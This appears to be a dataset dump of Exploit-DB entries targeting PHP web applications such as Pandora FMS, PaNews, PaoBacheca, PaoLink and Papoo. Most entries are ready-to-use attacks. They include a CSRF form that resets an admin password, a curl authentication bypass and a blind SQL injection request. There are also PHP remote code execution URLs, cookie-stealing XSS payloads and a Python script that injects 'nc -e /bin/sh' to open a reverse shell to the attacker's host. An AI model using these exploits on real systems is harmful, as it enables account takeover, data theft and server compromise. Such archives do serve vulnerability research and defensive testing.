deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17524
Description: Pandora Fms 3.2.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-07-12
Author: mehdi boukazoula

Exploit:
# Exploit Title: Pandora FMS v3.2.1 Cross Site Request Forgery
# Google Dork: intitle:"Pandora FMS - the Flexible Monitoring System" intext:"Your IP"
# Date: 12-07-2011
# Author: Mehdi Boukazoula
# Software Link: http://pandorafms.org/
# Version: v 3.2.1
# Tested on: v =< 3.2.1
# Description : In the page of "http://127.0.0.1/pandora_console/index.php?sec=usuarios&sec2=operation/users/user_edit" we # can submit the parameters : password_new ; password_conf ; phone ; fullname ; e-mail with POST request . We can exploit  # it by sending crafted html page to the administrator (The connected privileged user) with customized values .To patch    # this vulnerability the developpers must integrate an anti-bot system like CAPTCHA in the application .
--------------------------------------------------------------------------------------------------------
# Code of exploit (HTML) :

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Pandora XSRF exploit
Click submit</title>
    </head>
    <body><form action="http://YOURHOST/pandora_console/index.php?sec=usuarios&sec2=operation/users/user_edit&modified=1&id=admin" method="POST">

<input type="hidden" name="language" value="en_GB" readonly="readonly">
<input type="hidden" name="uptbutton" value="Update" readonly="readonly">
<input type="hidden" name="hidden_conf" value="YOUR-hidden" readonly="readonly">
<input type="hidden" name="hidden_new" value="YOUR-hidden" readonly="readonly">
<input type="hidden" name="comments" value="ADMIN-CHANGED-FOR-EVER" readonly="readonly">
<input type="hidden" name="phone" value="PHONE" readonly="readonly">
<input type="hidden" name="fullname" value="Mehdi Boukazoula" readonly="readonly">
<input type="hidden" name="email" value="YOUR-EMAIL" readonly="readonly">
<input type="submit">
</form>
</body>
</html>

# End of code
Exploit-DB #36073
Description: Pandora FMS 3.x - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-08-22
Author: mehdi boukazoula

Exploit:
source: https://www.securityfocus.com/bid/49261/info

Pandora FMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pandora FMS 3.2.1 is vulnerable; other versions may also be affected.

http://www.example.com/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&refr=60&group_id=12&offset=0&search=bob%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
Exploit-DB #36792
Description: Pandora FMS 4.0.1 - 'sec2' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-02-17
Author: Ucha Gobejishvili

Exploit:
source: https://www.securityfocus.com/bid/52058/info

Pandora FMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

Pandora FMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[ Path ]/index.php?sec=services&sec2=[FILE INCLUDE VULNERABILITY!]
Exploit-DB #37255
Description: Pandora FMS 5.0/5.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2015-06-10
Author: Manuel Mancera

Exploit:
# Exploit Title: Authentication Bypass in Pandora FMS
# Google Dork:
	intitle:"Pandora FMS - The Flexible Monitoring System"
	intitle:"Pandora FMS - el Sistema Flexible de Monitorización"
# Date: 10/06/2015
# Exploit Author: Manuel Mancera (sinkmanu)    |    mmancera (at) a2secure (dot) com
# Vendor Homepage: http://pandorafms.com/ <http://pandorafms.com/>
# Software Link: http://pandorafms.com/ <http://pandorafms.com/>
# Version: 5.0, 5.1
# Vulnerability Type : Authentication Bypass
# Severity : High


### Description ###

A vulnerability has been discovered in Pandora FMS that permits an unautheticated user to change the password for any Pandora user without knowing the actual user password. The vulnerability occurs at the login screen due to the session not being checked before the password is changed.


### Proof of Concept ###

URL: /index.php
Method: POST
Payload: renew_[CREDENTIAL_REDACTED]=admin
Payload2:
renew_[CREDENTIAL_REDACTED]=admin&password_new=newpass&password_confirm=newpass


### Exploit ###

curl -d
"renew_[CREDENTIAL_REDACTED]=admin&password_new=newpass&password_confirm=newpass"
http://localhost/index.php <http://localhost/index.php>


### Solution ###

Apply the latest patches available at the vendor website.



####################################################################
Disclaimer
--------------------
All information is provided without warranty. The intent is to provide
information to secure infrastructure and/or systems, not to be able to
attack or damage. Therefore A2Secure shall not be liable for any direct
or indirect damages that might be caused by using this information.

####################################################################
Exploit-DB #49046
Description: Pandora FMS 7.0 NG 749 - 'CG Items' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-11-16
Author: Matthew Aberegg

Exploit:
# Exploit Title: Pandora FMS 7.0 NG 749 - 'CG Items' SQL Injection (Authenticated)
# Date: 11-14-2020
# Exploit Author: Matthew Aberegg, Alex Prieto
# Vendor Homepage: https://pandorafms.com/
# Patch Link: https://github.com/pandorafms/pandorafms/commit/1258a1a63535f60924fb69b1f7812c678570cc8e
# Software Link: https://pandorafms.com/community/get-started/
# Version: Pandora FMS 7.0 NG 749
# Tested on: Ubuntu 18.04


# Vulnerability Details
# Description : A blind SQL injection vulnerability exists in the "CG Items" functionality of Pandora FMS.  
# Vulnerable Parameter : data


# POC

POST /pandora_console/ajax.php?data=(SELECT+1+FROM+(SELECT(SLEEP(5)))A) HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Origin: http://TARGET
Connection: close
Referer: http://TARGET/pandora_console/index.php?sec=eventos&sec2=operation/events/events
Cookie: PHPSESSID=i5uv0ugb4bdu9avagk38vcdok3

page=general%2Fcg_items
Exploit-DB #48064
Description: PANDORAFMS 7.0 - Authenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2020-02-13
Author: Engin Demirbilek

Exploit:
# Exploit Title: PANDORAFMS 7.0 - Authenticated Remote Code Execution
# Date: 2020-02-12
# Exploit Author: Engin Demirbilek
# Vendor homepage: http://pandorafms.org/
# Version: 7.0
# Software link: https://pandorafms.org/features/free-download-monitoring-software/
# Tested on: CentOS
# CVE: CVE-2020-8947

#!/bin/python
'''
PANDORAFMS 7.0 Authenticated Remote Code Execution x4
This exploits can be edited to exploit 4x Authenticated RCE vulnerabilities exist on PANDORAFMS.
incase default vulnerable variable won't work, change the position of payload to  one of the following ip_src, dst_port, src_port

Author: Engin Demirbilek
Github: github.com/EnginDemirbilek
CVE: CVE-2020-8947

'''
import requests
import sys

if len(sys.argv) < 6:
	print "Usage: ./exploit.py http://url username password listenerIP listenerPort"
	exit()

url = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
payload = '";nc -e /bin/sh ' + sys.argv[4] + ' ' + sys.argv[5] + ' ' + '#'

login = {
	'nick':user,
	'pass':password,
	'login_button':'Login'
}
req = requests.Session()
print "Sendin login request ..."
login = req.post(url+"/pandora_console/index.php?login=1", data=login)

payload = {
	'date':"",
	'time':"",
	'period':"",
	'interval_length':"",
	'chart_type':"",
	'max_aggregates':"1",
        'address_resolution':"0",
        'name':"",
        'assign_group':"0",
        'filter_type':"0",
        'filter_id':"0",
        'filter_selected':"0",
        'ip_dst':payload,
	'ip_src':"",
	'dst_port':"",
	'src_port':"",
	'advanced_filter':"",
	'aggregate':"dstip",
	'router_ip':"",
	'output':"bytes",
	'draw_button':"Draw"
}

print "[+] Sendin exploit ..."

exploit = req.post(url+"/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0",cookies=req.cookies, data=payload, headers={
'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'})

if exploit.status_code == 200:
	print "[+] Everything seems ok, check your listener. If no connection established, change position of payload to ip_src, dst_port or src_port."
else:
	print "[-] Couldn't send the HTTP request, try again."
Exploit-DB #48700
Description: PandoraFMS NG747 7.0 - 'filename' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-07-26
Author: Emre ÖVÜNÇ

Exploit:
# Exploit Title: PandoraFMS NG747 7.0 - 'filename' Persistent Cross-Site Scripting
# Date: 2020-08-20
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://pandorafms.org/
# Software Link: https://pandorafms.org/features/free-download-monitoring-software/
# Version: 7.0NG747
# Tested on: Windows/Linux/ISO

# Link https://github.com/EmreOvunc/Pandora-FMS-7.0-NG-747-Stored-XSS

# Description
A stored cross-site scripting (XSS) in Pandora FMS 7.0 NG 747 can result in
an attacker performing malicious actions to users who open a maliciously
crafted link or third-party web page. (Workspace >> Issues >> List of
issues >> Add - Attachment)

# PoC

To exploit vulnerability, someone could use a POST request to
'/pandora_console/index.php' by manipulating 'filename' parameter in the
request body to impact users who open a maliciously crafted link or
third-party web page.

POST /pandora_console/index.php?sec=workspace&sec2=operation/incidents/incident_detail&id=3&upload_file=1
HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0)
Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 524
DNT: 1
Connection: close
Cookie: PHPSESSID=3098fl65su4l237navvq6d5igs
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="userfile"; filename="\"><svg
onload=alert(document.cookie)>.png"
Content-Type: image/png

"><svg onload=alert(1)>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="file_description"

desc
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="upload"

Upload
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--
Exploit-DB #25111
Description: PaNews 2.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-02-16
Author: pi3ch

Exploit:
source: https://www.securityfocus.com/bid/12576/info

PaNews is reportedly affected by a cross-site scripting vulnerability. This issue exists because the application fails to properly sanitize user-supplied input.

As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/comments.php?op=view&newsid=1&showpost="><h1>AttackerXSSvulnerable<!--
Exploit-DB #25145
Description: PANews 2.0 - PHP Remote Code Execution
Type: webapps
Platform: php
Date: 2005-02-21
Author: tjomka

Exploit:
source: https://www.securityfocus.com/bid/12611/info

PaNews is reported prone to a remote PHP script code execution vulnerability. It is reported that PHP script code may be injected into the PaNews software through the 'showcopy' parameter of the 'admin_setup.php' script.

Reports indicate that when malicious script code is injected, this code can then be forced to execute in the context of the web service that is hosting the affected software.

This vulnerability is reported to affect PaNews version 2.0b4, other versions might also be affected. 

Example 1

http://www.example.com/panews/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installed=$asd&showcopy=include($nst)

then:

http://www.example.com/panews/includes/config.php?nst=http://your/file.php


Example 2

http://www.example.com/panews/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installed=$asd&showcopy=passthru($nst)

then:

http://www.example.com/panews/includes/config.php?nst=id
Exploit-DB #34453
Description: PaoBacheca 2.1 - 'index.php' URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-16
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42423/info

PaoBacheca is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

PaoBacheca 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/paobacheca/demo/index.php/"><script>alert(document.cookie);</script>
Exploit-DB #34454
Description: PaoBacheca 2.1 - 'scrivi.php' URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-16
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42423/info
 
PaoBacheca is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
PaoBacheca 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/paobacheca/demo/scrivi.php/"><script>alert(document.cookie);</script>
Exploit-DB #9293
Description: PaoBacheca Guestbook 2.1 - 'login_ok' Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-28
Author: SirGod

Exploit:
#############################################################################
[+] PaoBacheca Guestbook 2.1 (login_ok) Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#############################################################################

download : http://zenas.org/paobacheca/download/scarica.html

[+] Authentication Bypass Vulnerability


 - Notes : register_globals = on


 - PoC :

     http://127.0.0.1/[path]/login.php?login_ok=1

#############################################################################

# milw0rm.com [2009-07-28]
Exploit-DB #9294
Description: PaoLiber 1.1 - 'login_ok' Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-28
Author: SirGod

Exploit:
#############################################################################
[+] PaoLiber 1.1 (login_ok) Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#############################################################################

download : http://zenas.org/paobacheca/download/scarica.html

[+] Authentication Bypass Vulnerability


 - Notes : register_globals = on


 - PoC :

     http://127.0.0.1/[path]/login.php?login_ok=1

#############################################################################

# milw0rm.com [2009-07-28]
Exploit-DB #9292
Description: PaoLink 1.0 - 'login_ok' Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-28
Author: SirGod

Exploit:
#############################################################################
[+] PaoLink 1.0 (login_ok) Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#############################################################################

download : http://zenas.org/paobacheca/download/scarica.html

[+] Authentication Bypass Vulnerability


 - Notes : register_globals = on


 - PoC :

     http://127.0.0.1/[path]/login.php?login_ok=1

#############################################################################

# milw0rm.com [2009-07-28]
Exploit-DB #34443
Description: PaoLink 1.0 - 'scrivi.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-16
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42420/info

PaoLink is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

PaoLink 1.0 is vulnerable; other versions may also be affected. 

 http://www.example.com/paolink/demo/scrivi.php/"><script>alert(document.cookie);</script>
Exploit-DB #26925
Description: Papaya CMS 4.0.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16005/info

papaya CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Proof of concept is available:
/suche.153.html?bab[page]=6&bab[searchfor]=[XSS]
Exploit-DB #30249
Description: Papoo 1.0.3 - 'Plugin.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2007-06-27
Author: Nico Leidecker

Exploit:
source: https://www.securityfocus.com/bid/24634/info

Papoo is prone to an authentication-bypass vulnerability because the application fails to check user privileges when accessing the administration pages.

An attacker can exploit this issue to gain access to administration plugins. This may lead to other attacks.

This issue affects Papoo 3.6; prior versions may also be affected. 

http://www.example.com/interna/plugin.php?template=devtools/templates/newdump_backend.html
Exploit-DB #26960
Description: Papoo 2.1.2 - 'Guestbook.php?menuid' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16020/info
 
Papoo is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
These issues affect version 2.1.2; other versions may also be vulnerable. 

http://www.example.com/guestbook.php?menuid=[SQL]
Exploit-DB #26959
Description: Papoo 2.1.2 - 'index.php?menuid' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16020/info

Papoo is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

These issues affect version 2.1.2; other versions may also be vulnerable. 

http://www.example.com/index.php?menuid=[SQL]
Exploit-DB #26961
Description: Papoo 2.1.2 - 'print.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16020/info
  
Papoo is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
These issues affect version 2.1.2; other versions may also be vulnerable. 

http://www.example.com/print.php?reporeid_print=&forumid=[SQL]
http://www.example.com/print.php?reporeid_print=[SQL]
Exploit-DB #27647
Description: Papoo 2.1.x - 'print.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-14
Author: Rusydi Hasan

Exploit:
source: https://www.securityfocus.com/bid/17530/info

Papoo is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[papoo_dir]/print.php?reporeid_print=[XSS_here]&forumid=1
Exploit-DB #27176
Description: Papoo 2.1.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-09
Author: Dj Eyes

Exploit:
source: https://www.securityfocus.com/bid/16573/info

Papoo is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Specific information regarding affected versions is not currently available; this BID will be updated as further information is disclosed. 

http://www.example.com/guestbook.php?menuid=<script>alert('HELLO');</script>
http://www.example.com/index.php?menuid=<script>alert(document.cookie);</script>
http://www.example.com/inhalt.php?menuid=<script>alert(document.cookie);</script>
http://www.example.com/forum.php?menuid=<script>alert('HELLO');</script>
http://www.example.com/kontakt.php?menuid=<script>alert('HELLO');</script>
Exploit-DB #33160
Description: Papoo 3.x - Upload Images Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-08-10
Author: RedTeam Pentesting GmbH

Exploit:
source: https://www.securityfocus.com/bid/36006/info

Papoo is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 


The following command will generate a file with a valid GIF header that runs the 'phpinfo()' function when requested:

$ printf "GIF89a\x01\x00\x01\x00<?php phpinfo();?>" > poc.php